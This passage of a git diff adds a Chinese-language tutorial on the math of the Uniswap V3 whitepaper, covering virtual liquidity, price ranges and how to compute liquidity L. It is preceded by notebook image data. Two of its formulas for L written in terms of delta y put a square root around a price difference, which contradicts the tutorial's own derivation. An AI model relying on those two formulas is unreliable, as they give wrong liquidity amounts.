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YbY+YZY5J8r+tljJlljFlojPnCGNP/gH3nADN9V2g/9x2jwBhzsgP/nSIiIn6lMisiIhJYvwXWWmuPA37zo+eygPOAUcB9wB5r7TDgG+BK32ueBG6x1o4Afg38E8AYEwH0s9auACYDs33HGAos8eN/j4iIiCMinQ4gIiIi+8211lYAFcaYMuA93+PLgCHGmHjgBOANY8y+bWJ8f48G8nxfzweeNcZEAW9ba5cEIryIiEgg6cqsiIhI8Kg54GvPAd978P4C2gXsstYed8CfAb7X5AKzAKy1nwNjgS3A88aYKxEREQkzKrMiIiKBVQG0a86G1tpyoNAYcyGA8Rrqe/o04CPf492B7dbap4CngeHHnFpERCTIaJixiIhIAFlrS4wxX/kWflrZjF1cBjxhjLkLiAJeNcZsBap9Q5QBxgG/McbUApX8MN9WREQkbBhrrdMZRERE5BgYYy4HulhrH3A6i4iISKCozIqIiIiIiEjI0ZxZERERERERCTkqsyIiIiIiIhJyVGZFREREREQk5KjMioiIiIiISMhRmRUREREREZGQozIrIiIiIiIiIUdlVkRERERERELO/wcma2A8SFXX7QAAAABJRU5ErkJggg==",
+      "text/plain": [
+       "<Figure size 1152x576 with 1 Axes>"
+      ]
+     },
+     "metadata": {
+      "needs_background": "light"
+     }
+    }
+   ],
+   "metadata": {}
+  }
+ ],
+ "metadata": {
+  "orig_nbformat": 4,
+  "language_info": {
+   "name": "python",
+   "version": "3.7.4",
+   "mimetype": "text/x-python",
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 3
+   },
+   "pygments_lexer": "ipython3",
+   "nbconvert_exporter": "python",
+   "file_extension": ".py"
+  },
+  "kernelspec": {
+   "name": "python3",
+   "display_name": "Python 3.7.4 64-bit"
+  },
+  "interpreter": {
+   "hash": "4b0c0561b02f92c4f016080a613bf5b1e5d4d0bd86ff103aff55fd51031da5da"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2
+}
\ No newline at end of file
diff --git a/defi/Uniswap-V3/whitepaperGuide/readme.md b/defi/Uniswap-V3/whitepaperGuide/readme.md
new file mode 100644
index 000000000..a4d474850
--- /dev/null
+++ b/defi/Uniswap-V3/whitepaperGuide/readme.md
@@ -0,0 +1,13 @@
+# uniswapV3 whitepaper guide
+
+## 白皮书
+
+- 白皮书地址：https://uniswap.org/whitepaper-v3.pdf
+
+## 科普文章
+
+- [如何理解V3白皮书 understandV3Witepaper.md](./understandV3Witepaper.md)
+
+## 补充
+
+- 预言机使用算术平均和几何平均的两种机制对比实验 [oracleCompare.ipynb](./oracleCompare.ipynb)
\ No newline at end of file
diff --git a/defi/Uniswap-V3/whitepaperGuide/understandV3Witepaper.md b/defi/Uniswap-V3/whitepaperGuide/understandV3Witepaper.md
new file mode 100644
index 000000000..95fbdee49
--- /dev/null
+++ b/defi/Uniswap-V3/whitepaperGuide/understandV3Witepaper.md
@@ -0,0 +1,592 @@
+# Understand UniswapV3 whitepaper
+
+> 关于白皮书的解读，已有很多非常棒的文章，但白皮书中的公式和相关概念还是很艰深难懂的，这里我想尝试用比较通俗易懂的方式谈谈对白皮书的理解，希望对大家有帮助。
+
+## xy=k
+
+关于这个 V1 和 V2 版本的核心公式，相信大家已经很熟悉了，（不了解的小伙伴可以看这篇[Uniswap-V1-Like 用 solidity 仿写一个 uniV1](../../../basic/13-decentralized-exchange/uniswap-v1-like/README.md)）。
+
+虽然它是很经典的 AMM 公式，但存在一个很大问题，就是资金利用率不高。
+
+### v2 的价格区间
+
+我们先简单回顾一下在一个流动性池子中，如何表达资产的价格。
+
+假设有资产 X 和资产 Y，现在存在一个以 X 和 Y 资产组成的交易对池子。当我们要用资产 X 来标价 Y 的时候，`PriceY = x的数量 / y的数量`，这很容易想到。
+
+我们在直角坐标系上，用 x 轴表示资产 X 的数量，y 轴表示资产 Y 的数量，那么将上面的式子变换可以得到 `y = p * x`，为了简化，我们用 `p` 来表示 priceX。
+
+于是我们可以在坐标系上添加一条直线，其斜率的倒数 `x/y`，就是价格 `PriceY`。当价格变化的时候，就是这条直线的斜率在变化。
+
+流动性就可以用一个矩形的面积来表示。因为`k`的实际意义就是用来衡量一个池子的流动性数量，而`x*y=k`，所以池子中`资产X的数量 * 资产Y的数量 = 流动性数量`。
+
+![price changing](./img/understanding-01-pricechange.webp)
+img01: price changing
+
+在上图中，资产 Y 的价格在下跌（X 的价格在上涨），绿色区域的面积是流动性数量 k，需要保持恒定不变，于是随着价格变化，矩形右上方端点（图中的红点）就能划出一条我们熟悉的双曲线。随着价格下跌，红点逐渐上移，矩形的高度(y)不断变大，而宽度(x)不断变小。当价格趋近于 0 时，红线会无限接近和 y 轴重叠，但却不可能真正重叠，因为绿色的双曲线是不会和坐标轴相交的。所以我们的池子做市的价格下限是 0，同理，价格上限是无穷大（因为双曲线和 x 轴也不会相交）。
+
+所以在 `x*y=k` 的情况下，做市的价格区间是 (0, ∞)。
+
+### 资金利用率
+
+价格区间(0, ∞)看起来很理想，我们的资金在任何时候（任意价格点）都能为我们赚取手续费。
+
+但我们忽略了另一个影响收益的重要因素，那就是资金的利用率。当一个用户来用我们的池子做交易时，其交易的量相比我们的流动性来说是很小的。
+
+假设现在池子内资产 X 和 Y 都有 8 个，价格 p 为 1。
+
+现在有一笔订单，用 1 个 X 来换取 1 个 Y，我们先不考虑滑点和手续费的影响，这一笔交易为我们带来的手续费收益是 `fee = 1 * 0.3%`，实际参与赚取手续费的流动性就是输出的 1 个 y，这相比于总流动性是很小的，在这一笔交易中，资金利用率是大约是 `1 / 8`。也就是说，我们只需要极少一部分流动性就能承载这一笔交易，而大部分流动性在交易过程中只是躺在那做收益的分母而已……
+
+![liquidity rate](./img/understanding-02-liquidityrate.png)
+img02: liquidity rate
+
+回到我们的坐标系上，当用户用 X 换取 Y 的时候，价格会从低点涨到高点，红点从 `p_lower` 移动到 `p_upper` 的过程中（X 的价格），实际参与交易的流动性仅仅是橙色的矩形区域。这里为了便于查看，夸大了价格的变动区间，实际交易过程中，价格变动不会这么大，所以橙色区域是极小的。
+
+所以提高利用率的关键是既要移除那些躺在那不干活的流动性（绿色区域），又要保证这个函数模型不变。于是我们将其换成了虚拟的流动性，即 `x_virtual` 和 `y_virtual`，而添加流动性时，只需要注入橙色区域的流动性即可。于是公式变成了如下模样：
+
+```math
+(x + x_virtual)*(y + y_virtual)=k
+```
+
+![real liquidity](./img/understanding-03-realliquidity.png)
+img03: real liquidity
+
+整个图形向左下方平移了，因为价格是直线的斜率，所以平移对于实际交易是没有影响的。**前提是价格没有超出限定的区间**。
+
+正如上图所示，如果价格上涨，超出了 `p_upper`，代表价格的点会来到 y 轴左侧，即这个时候 x 的数量为负数。这是不可能存在的情况，因为在实际情况中，为负的资产数量是没有意义的。所以当我们给池子增加了虚拟流动性之后，我们向其中注入的真实流动性，都只能在特定的价格区间做市，一旦价格超过区间，流动性就枯竭了，或者说，池中其中一种资产的数量变为 0，无法再为市场提供流动性，除非价格再次回到区间内。关于池中资产由 X 全部转换成 Y，这一特性后面我们还会展开讨论，这里先回到资金利用率的问题。
+
+如果你的线性代数不好，可能会被平移的方向绕晕，那么这里我有一个不太恰当的比喻帮助你理解虚拟流动性。回到图 02，你可以想象虚拟流动性就是在 x 轴和 y 轴方向上，给真实的流动性（橙色区域）的两个增高垫，也就是绿色区域补足的部分，帮助我们可以用较少的资金达到原先的做市效果。
+
+事实上，对于使用交易功能的用户来说，v3 的模型和 v2 的模型没有区别，整个价格还是在 `xy=k` 的曲线上运行（把`(x + x_virtual)` 整体当成 x， y 同理）。不论 V2 还是 V3，交易过程中，实际使用的流动性都只是橙色区域，而更多的绿色区域是虚拟的还是真实的流动性，对于他们来说没有区别，观察到的仍是图 02 的模型。
+
+而提供流动性的用户看到的样子，是图 03，在设定的价格区间内，我们解决了资金利用率的问题。
+
+## V3 的核心公式
+
+### 核心公式的推导
+
+V3 的核心公式，其实刚才已经出现了，我们只需要将虚拟流动性具体算出来就好了。为了方便后面的计算，我们将代表流动性的 `k` 换成 `𝐿^2` 即 L 的平方。
+
+现在我们回到图 02，可以看出 `x_virtual` 的长度实际是 `p_upper` 点的 x，而 `y_virtual` 的长度实际上是 `p_lower` 点的 y。所以在确定价格上下区间的情况下，我们可以利用价格的公式 `y = p*x` 和 `xy=L^2` 来换算虚拟流动性的长度。(这里为了变量名称统一，将价格点统一称为 lower 和 upper，白皮书中是 a 和 b，不影响结果。)
+
+将前者代入后者，得到 `p * x^2 = L^2`, 进而就能得到如何用 `L` 和 根号价格 `√p` 表达 `x` 和 `y`：
+
+```math
+x = L / √p
+y = L * √p
+```
+
+于是两个虚拟流动性就可以写为：
+
+```math
+x_virtual = L / √p_upper
+y_virtual = L * √p_lower
+```
+
+核心公式就呼之欲出了：
+
+```math
+(x + L / √p_upper) * (y + L * √p_lower) = L^2
+```
+
+可以看到，公式中是将 `p_upper` 和 `p_lower` 作为已知的变量，所以在 V3 中添加流动性，是需要用户自己设置需要做市的价格区间的。V3 中创建者不同或者价格区间不同（或手续费水平不同，后面展开讨论）都是不同的流动性头寸 `position`。
+
+> 在 V2 中代表用户提供了流动性的凭证是 ERC20 类型的 LP token （liquidity provider token），因为所有流动性都可以被认为是价格区间为 (0, ∞) 的流动性，因此可以用同质化代币流通。但 V3 中每个流动性可能价格区间都不同，因此需要用 ERC721 类型（NFT）的非同质化代币表示。
+
+需要注意的是，当池子中的交易价格，移动到做市的价格区间之外，我们注入的流动性将不再赚取手续费，也就是未激活状态，而当价格再次回到区间内时，流动性再次变为激活状态。
+
+### 流动性资产的变化
+
+当价格变化时，流动性内的资产 Y 和资产 X 数量会发生变化，在 V2 中这个变化会引起无常损失，而在 V3 中，它的影响会被放大很多倍。因为当价格移动到区间以外的时候，你的流动性头寸中，其实已经变为了单一品种的资产，而另一个资产数量已经清零。
+
+![reserves change](./img/understanding-04-reserveschange.webp)
+img04: reserves change
+
+观察图中橙色区域的变化可以很容易理解这点，当价格不断上涨，x 的数值是不断减小，直至到达价格上限时，x 完全清零。这一点和 V2 差别很大，其原因就是因为 V3 引入了虚拟流动性。这也是为了提高资金利用率而需要承担的风险。
+
+#### 价格区间的风险与收益
+
+当出现价格在区间以外的情况，此时流动性头寸不但不能继续赚取手续费，同时必定全部变成了单一资产，且一定是当时市场中处于弱势一方的资产。比如当资产 Y 涨价，将会有大量订单用资产 X 从池子中换取 Y，于是池子中的 X 越来越多，而 Y 最终会清零。因为 AMM 自动做市，实际上也是一种被动的做市，永远需要和市场中的订单做对手盘。
+
+也就是说，价格区间越窄，价格移出区间的概率越大，风险越大，而区间越宽，风险就越小。如果你厌恶这种价格移出区间的风险，那么大可直接将价格区间设置为 (0, ∞) ，官方的 UI 界面也支持这个操作，那么你就会得到一个完全没有虚拟流动性，和 V2 差不多的全价格区间流动性了。
+
+当然这么做的代价就是，资金利用率和 V2 也没差别，非常的低。这就相当于你将资金均匀分散到一个很长的价格轴上，虽然每次交易都能赚取手续费，但由于资金在每个价格点上被摊薄的太厉害，导致每次赚取手续费的占比权重非常低。
+
+#### 添加流动性和移除流动性
+
+添加流动性的计算过程，是已知当前价格和输入的其中一种资产数量，计算另一种资产的数量和添加的流动性数量。
+
+V2 中添加流动性，因为价格就是两个资产的比值，所以很容易计算另一种资产数量，然后将两个资产数量相乘就得到了流动性的数量（ `xy=k`）。但 V3 引入了价格区间的概念，使得计算变得比较复杂。
+
+回顾一下刚才计算虚拟流动性的过程，其中我们推导出了如何用 `L` 和 根号价格 `√p` 表达 `x` 和 `y`：
+
+```math
+x = L / √p
+y = L * √p
+```
+
+##### 价格 p 在区间内
+
+![liquidity rate](./img/understanding-02-liquidityrate.png)
+img02: 价格在区间内
+
+`p_lower < p < p_upper`
+
+假定添加的流动性是图 02 中的情况，当前价格包含在设定的价格区间内，橙色区域是我们实际需要添加的流动性，虚拟流动性是绿色区域扣除橙色的部分的宽度和高度。
+
+如果我们需要计算橙色部分，为了和上述公式中的 x,y 区分开，我们将橙色部分的宽高称之为 `delta x` `delta y`。`delta x` 就是 `p`（红点） 和 `p_upper` 在 x 轴上的距离， `delta y` 就是 `p` 和 `p_lower` 在 y 轴上的距离。于是我们可以将公式写成这样：
+
+```math
+delta x = L / √p - L / √p_upper = L * (√p_upper - √p) / (√p * √p_upper)
+delta y = L * √p  - L * √p_lower = L * (√p - √p_lower)
+```
+
+再变换一下，改写成求 L（流动性数量）的等式
+
+```math
+L = delta x * (√p * √p_upper) / (√p_upper - √p)
+L = delta y / √(p - p_lower)
+```
+
+`deleta x` 和 `delta y` 就是橙色区域的宽高，在这里我们是已知其中一个的，因为那就是我们输入的其中一种将要注入流动性的资产数量。上面两个等式任意一个就能求得 L，所以不论给定的是 x 的数量，还是 y 的数量，我们都能得到将要添加的流动性数量 L。拿到 L 之后，根据另一个等式可以求得另一个资产的数量。
+
+##### 价格 p 大于区间
+
+![liquidity rate](./img/understanding-05-p_on_left.png)
+img05: 价格 p 大于区间
+
+`p_upper < p`
+
+此时橙色区域已经消失，资产 X 的数量为 0，流动性全部变为资产 Y，其数量就是 `p_upper` 到 `p_lower` 的 y 轴距离，也就是图中的紫色虚线部分。我们根据 `delta y` 求得 `L` :
+
+```math
+L = delta y / √(p_upper - p_lower)
+```
+
+##### 价格 p 小于区间
+
+![liquidity rate](./img/understanding-06-p_on_right.png)
+img06: 价格 p 小于区间
+
+`p < p_lower`
+
+此时橙色区域已经消失，资产 Y 的数量为 0，流动性全部变为资产 X，其数量就是 `p_upper` 到 `p_lower` 的 x 轴距离，也就是图中的蓝色虚线部分。我们根据 `delta x` 求得 `L` :
+
+```math
+L = delta x * (√p_upper * √p_lower) / (√p_upper - √p_lower)
+```
+
+##### 移除流动性
+
+移除的过程实际上是上述添加过程的逆运算，也是分三种情况，这里就不赘述。
+
+<br>
+
+**总结一下**:V3 的流动性计算过程是需要先确定价格范围 `p_upper` `p_lower`、当前价格 `p` 和其中一种资产的数量 `delta x`或 `delta y`，求流动性数量 `L` 和另一种资产的数量。
+
+#### 限价单
+
